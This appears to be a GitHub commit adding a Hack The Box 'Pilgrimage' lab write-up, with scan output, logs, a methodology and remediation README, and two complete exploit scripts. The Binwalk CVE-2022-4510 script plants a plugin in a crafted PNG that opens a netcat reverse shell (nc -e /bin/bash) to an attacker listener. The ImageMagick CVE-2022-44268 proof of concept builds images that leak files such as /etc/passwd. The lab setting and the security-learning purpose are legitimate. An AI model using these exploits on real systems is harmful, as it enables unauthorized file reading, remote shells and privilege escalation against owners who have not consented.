Skip to content

Commit 163d425

Browse files
HedrobyteHedrobyte
committed
Hack The Box: Add Pilgrimage machine
1 parent 940cf36 commit 163d425

File tree

7 files changed

+258
-1
lines changed

7 files changed

+258
-1
lines changed

‎hack_the_box/README.MD

+7-1
Original file line numberDiff line numberDiff line change
@@ -4,6 +4,12 @@ This folder contains my notes and resolutions for the Hack The Box challenges. I
44
* Access [My Hack The Box Profile](https://app.hackthebox.com/profile/1318646) to view my progress and achievements.
55

66

7+
## Machines
8+
| Machine | OS | Difficulty |
9+
|----------------------------------------------|---------|------------|
10+
| [Pilgrimage](./machines/pilgrimage/) | Linux | Easy |
11+
12+
713
## Starting Point
814
| Machine | OS | Difficulty |
915
|----------------------------------------------|---------|------------|
@@ -17,4 +23,4 @@ This folder contains my notes and resolutions for the Hack The Box challenges. I
1723
| [Responder](./starting_point/responder/) | Windows | Very easy |
1824
| [Three](./starting_point/three/) | Linux | Very easy |
1925
| [Archetype](./starting_point/archetype/) | Windows | Very easy |
20-
| [Oopsie](./starting_point/oopsie/) | Linux | Very easy |
26+
| [Oopsie](./starting_point/oopsie/) | Linux | Very easy |

‎hack_the_box/machines/pilgrimage/CLI/git-dumper_cli

+3
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
└─$ python3 myenv/bin/git-dumper http://pilgrimage.htb/.git/ git
2+
└─$ ls git
3+
assets dashboard.php index.php login.php logout.php magick register.php vendor

‎hack_the_box/machines/pilgrimage/CLI/nmap-scan.txt

+27
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
# Nmap 7.93 scan initiated Fri Jul 14 01:05:23 2023 as: nmap -sV -sC -oN nmap-scan.txt 10.10.11.219
2+
Nmap scan report for pilgrimage.htb (10.10.11.219)
3+
Host is up (0.21s latency).
4+
Not shown: 997 closed tcp ports (conn-refused)
5+
PORT STATE SERVICE VERSION
6+
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
7+
| ssh-hostkey:
8+
| 3072 20be60d295f628c1b7e9e81706f168f3 (RSA)
9+
| 256 0eb6a6a8c99b4173746e70180d5fe0af (ECDSA)
10+
|_ 256 d14e293c708669b4d72cc80b486e9804 (ED25519)
11+
80/tcp open http nginx 1.18.0
12+
|_http-server-header: nginx/1.18.0
13+
|_http-title: Pilgrimage - Shrink Your Images
14+
| http-cookie-flags:
15+
| /:
16+
| PHPSESSID:
17+
|_ httponly flag not set
18+
| http-git:
19+
| 10.10.11.219:80/.git/
20+
| Git repository found!
21+
| Repository description: Unnamed repository; edit this file 'description' to name the...
22+
|_ Last commit message: Pilgrimage image shrinking service initial commit. # Please ...
23+
1100/tcp filtered mctp
24+
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
25+
26+
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
27+
# Nmap done at Fri Jul 14 01:07:18 2023 -- 1 IP address (1 host up) scanned in 115.05 seconds

‎hack_the_box/machines/pilgrimage/CLI/ssh-cli.txt

+16
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
└─$ sudo ssh [email protected]
2+
[sudo] password for kali:
3+
[email protected]'s password:
4+
Linux pilgrimage 5.10.0-23-amd64 #1 SMP Debian 5.10.179-1 (2023-05-12) x86_64
5+
6+
The programs included with the Debian GNU/Linux system are free software;
7+
the exact distribution terms for each program are described in the
8+
individual files in /usr/share/doc/*/copyright.
9+
10+
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
11+
permitted by applicable law.
12+
Last login: Fri Jul 14 17:58:05 2023 from 10.10.14.106
13+
emily@pilgrimage:~$ ls
14+
binwalk_exploit.png linpeas.sh user.txt
15+
emily@pilgrimage:~$ cat user.txt
16+
******************************

‎hack_the_box/machines/pilgrimage/README.MD

+77
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,77 @@
1+
## General Information
2+
- Machine: Pilgrimage
3+
- Difficulty: Easy
4+
- OS: Linux
5+
- Date: 15/07/2023
6+
7+
8+
## Methodology
9+
- Reconnaissance: The execution of network scanning using nmap allowed the identification of services running on open ports
10+
- Exploration:
11+
- Manipulation of files and directories, such as downloading the Git repository using git-dumperindex.php and exploring the /shrunk directory, was performed.
12+
- The identified vulnerabilities, such as CVE-2022-44268 and CVE-2022-4510, were exploited to gain unauthorized access and escalate privileges.
13+
- Detailed hexadecimal analysis of files, such as using the "identify -verbose" command and decoding with CyberChef, was performed to extract hidden information.
14+
- Results Analysis:Documentation of findings, identification of vulnerabilities, and recommendations for remediation.
15+
16+
17+
## Results
18+
During the port scan, two open ports (SSH and HTTP) were discovered, including an HTTP-based Git repository. The repository was downloaded using git-dumperindex.php. A vulnerability (CVE-2022-44268) in ImageMagick was identified, enabling arbitrary file reading on the website. Exploiting this vulnerability provided access to system files, revealing the username "Emily" and her SSH password. Within the system, the "userflag.txt" file was found. Additionally, a vulnerability (CVE-2022-4510) in Binwalk v2.3.2 was detected, allowing for privilege escalation to root. By exploiting this vulnerability, it was possible to obtain access to the root.txt file.
19+
20+
### Reconnaissance
21+
- 10.10.11.219
22+
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
23+
- http-git: 10.10.11.219:80/.git/
24+
25+
26+
- Port Scan results:
27+
28+
| Port | State | Service | Version |
29+
|----------|-------|--------------|-----------------|
30+
| 22/tcp | open | ssh | OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) |
31+
| 80/tc | open | http | nginx 1.18.0 |
32+
33+
34+
### Commands and analyzes used
35+
36+
#### Nmap
37+
~~~nmap
38+
nmap -sV -sC 10.10.11.219 -oN nmap-scan.txt
39+
~~~
40+
41+
#### git-dumper
42+
~~~git-dumper
43+
python3 git_dumper.py http://pilgrimage.htb/.git/ git
44+
~~~
45+
46+
#### script-CVE-2022-44268
47+
~~~CVE-2022-44268
48+
python3 generate.py -f "/etc/passwd" -o exploit.png
49+
~~~
50+
51+
~~~
52+
python3 generate.py -f "/var/db/pilgrimage" -o exploit.png
53+
~~~
54+
55+
#### script-CVE-2022-4510
56+
~~~
57+
python3 exploit.py photo.jpg <ip> <port>
58+
~~~
59+
60+
### netcat
61+
~~~
62+
nc -lvnp <port>
63+
~~~
64+
65+
66+
## Exploited Vulnerabilities
67+
- Exposed Git repository
68+
- CVE-2022-44268, i.e. ImageMagick 7.1.0-49 is vulnerable to Information Disclosure. When it parses a PNG image (e.g., for resize), the resulting image could have embedded the content of an arbitrary remote file (if the ImageMagick binary has permissions to read it).
69+
- CVE-2022-4510: Binwalk v2.3.2 has a vulnerability that allows for remote command execution, enabling privilege escalation.
70+
71+
72+
## Recommendations
73+
- Secure the Git repository: Ensure that the Git repository is not publicly exposed and implement access controls to restrict unauthorized access.
74+
- Patch and update ImageMagick: Upgrade ImageMagick to a patched version that addresses the CVE-2022-44268 vulnerability to prevent information disclosure attacks.
75+
- Patch Binwalk: Update Binwalk to a patched version that resolves the CVE-2022-4510 vulnerability, mitigating the potential for remote command execution and privilege escalation.
76+
- Secure file handling: Implement proper file handling practices, such as validating user input and enforcing file upload restrictions, to prevent the execution of malicious files or unauthorized access to sensitive information.
77+
- User authentication and authorization: Implement strong user authentication mechanisms, including complex passwords and multi-factor authentication, to protect against unauthorized access to user accounts.

‎hack_the_box/machines/pilgrimage/exploit_CVE-2022-4510.py

+56
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,56 @@
1+
# Exploit Title: Binwalk v2.3.2 - Remote Command Execution (RCE)
2+
# Exploit Author: Etienne Lacoche
3+
# CVE-ID: CVE-2022-4510
4+
import os
5+
import inspect
6+
import argparse
7+
8+
print("")
9+
print("################################################")
10+
print("------------------CVE-2022-4510----------------")
11+
print("################################################")
12+
print("--------Binwalk Remote Command Execution--------")
13+
print("------Binwalk 2.1.2b through 2.3.2 included-----")
14+
print("------------------------------------------------")
15+
print("################################################")
16+
print("----------Exploit by: Etienne Lacoche-----------")
17+
print("---------Contact Twitter: @electr0sm0g----------")
18+
print("------------------Discovered by:----------------")
19+
print("---------Q. Kaiser, ONEKEY Research Lab---------")
20+
print("---------Exploit tested on debian 11------------")
21+
print("################################################")
22+
print("")
23+
24+
parser = argparse.ArgumentParser()
25+
parser.add_argument("file", help="Path to input .png file",default=1)
26+
parser.add_argument("ip", help="Ip to nc listener",default=1)
27+
parser.add_argument("port", help="Port to nc listener",default=1)
28+
29+
args = parser.parse_args()
30+
31+
if args.file and args.ip and args.port:
32+
header_pfs = bytes.fromhex("5046532f302e390000000000000001002e2e2f2e2e2f2e2e2f2e636f6e6669672f62696e77616c6b2f706c7567696e732f62696e77616c6b2e70790000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034120000a0000000c100002e")
33+
lines = ['import binwalk.core.plugin\n','import os\n', 'import shutil\n','class MaliciousExtractor(binwalk.core.plugin.Plugin):\n',' def init(self):\n',' if not os.path.exists("/tmp/.binwalk"):\n',' os.system("nc ',str(args.ip)+' ',str(args.port)+' ','-e /bin/bash 2>/dev/null &")\n',' with open("/tmp/.binwalk", "w") as f:\n',' f.write("1")\n',' else:\n',' os.remove("/tmp/.binwalk")\n', ' os.remove(os.path.abspath(__file__))\n',' shutil.rmtree(os.path.join(os.path.dirname(os.path.abspath(__file__)), "__pycache__"))\n']
34+
35+
in_file = open(args.file, "rb")
36+
data = in_file.read()
37+
in_file.close()
38+
39+
with open("/tmp/plugin", "w") as f:
40+
for line in lines:
41+
f.write(line)
42+
43+
with open("/tmp/plugin", "rb") as f:
44+
content = f.read()
45+
46+
os.system("rm /tmp/plugin")
47+
48+
with open("binwalk_exploit.png", "wb") as f:
49+
f.write(data)
50+
f.write(header_pfs)
51+
f.write(content)
52+
53+
print("")
54+
print("You can now rename and share binwalk_exploit and start your local netcat listener.")
55+
print("")
56+

‎hack_the_box/machines/pilgrimage/generate.py

+72
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,72 @@
1+
import png
2+
import argparse
3+
import os
4+
import time
5+
from PIL import Image, PngImagePlugin
6+
7+
8+
# ,----------------, ,---------,
9+
# ,-----------------------, ," ,"|
10+
# ," ,"| ," ," |
11+
# +-----------------------+ | ," ," |
12+
# | .-----------------. | | +---------+ |
13+
# | | | | | | -==----'| |
14+
# | | Sybil Scan! | | | | | |
15+
# | | | | |/----|`---= | |
16+
# | | C:\>_ | | | ,/|==== ooo | ;
17+
# | | | | | // |(((( [33]| ,"
18+
# | `-----------------' |," .;'| |(((( | ,"
19+
# +-----------------------+ ;; | | |,"
20+
# /_)______________(_/ //' | +---------+
21+
# ___________________________/___ `,
22+
# / oooooooooooooooo .o. oooo /, \,"-----------
23+
# / ==ooooooooooooooo==.o. ooo= // ,`\--{)B ,"
24+
# /_==__==========__==_ooo__ooo=_/' /___________,"
25+
# `-----------------------------'
26+
27+
28+
29+
30+
31+
32+
def main():
33+
print("\n [\u001b[32;1m>\u001b[0m] ImageMagick LFI PoC - by Sybil Scan Research <[email protected]>")
34+
parser = argparse.ArgumentParser(description='imagemagick-LFI : PoC for CVE-2022-44268')
35+
parser.add_argument('-f','--lfile' , help = 'Local file to read' , required=True)
36+
parser.add_argument('-o', '--output', help = 'Output png file', required=True)
37+
args = parser.parse_args()
38+
time.sleep(0.2)
39+
print(" [\u001b[32;1m>\u001b[0m] Generating Blank PNG")
40+
width = 255
41+
height = 255
42+
img = []
43+
for y in range(height):
44+
row = ()
45+
for x in range(width):
46+
row = row + (x, max(0, 255 - x - y), y)
47+
img.append(row)
48+
with open('gradient.png', 'wb') as f:
49+
w = png.Writer(width, height, greyscale=False)
50+
w.write(f, img)
51+
time.sleep(0.2)
52+
print(" [\u001b[32;1m>\u001b[0m] Blank PNG generated")
53+
time.sleep(0.2)
54+
print(f" [\u001b[32;1m>\u001b[0m] Placing Payload to read {args.lfile}")
55+
info = PngImagePlugin.PngInfo()
56+
info.add_text("profile", args.lfile)
57+
im = Image.open("gradient.png")
58+
im.save(args.output, "PNG", pnginfo=info)
59+
time.sleep(0.2)
60+
print(f" [\u001b[32;1m>\u001b[0m] PoC PNG generated > {args.output}")
61+
62+
63+
gradient_file = "gradient.png"
64+
if os.path.isfile(gradient_file):
65+
os.remove(gradient_file)
66+
else:
67+
pass
68+
69+
70+
71+
if __name__ == '__main__':
72+
main()

0 commit comments

Comments
 (0)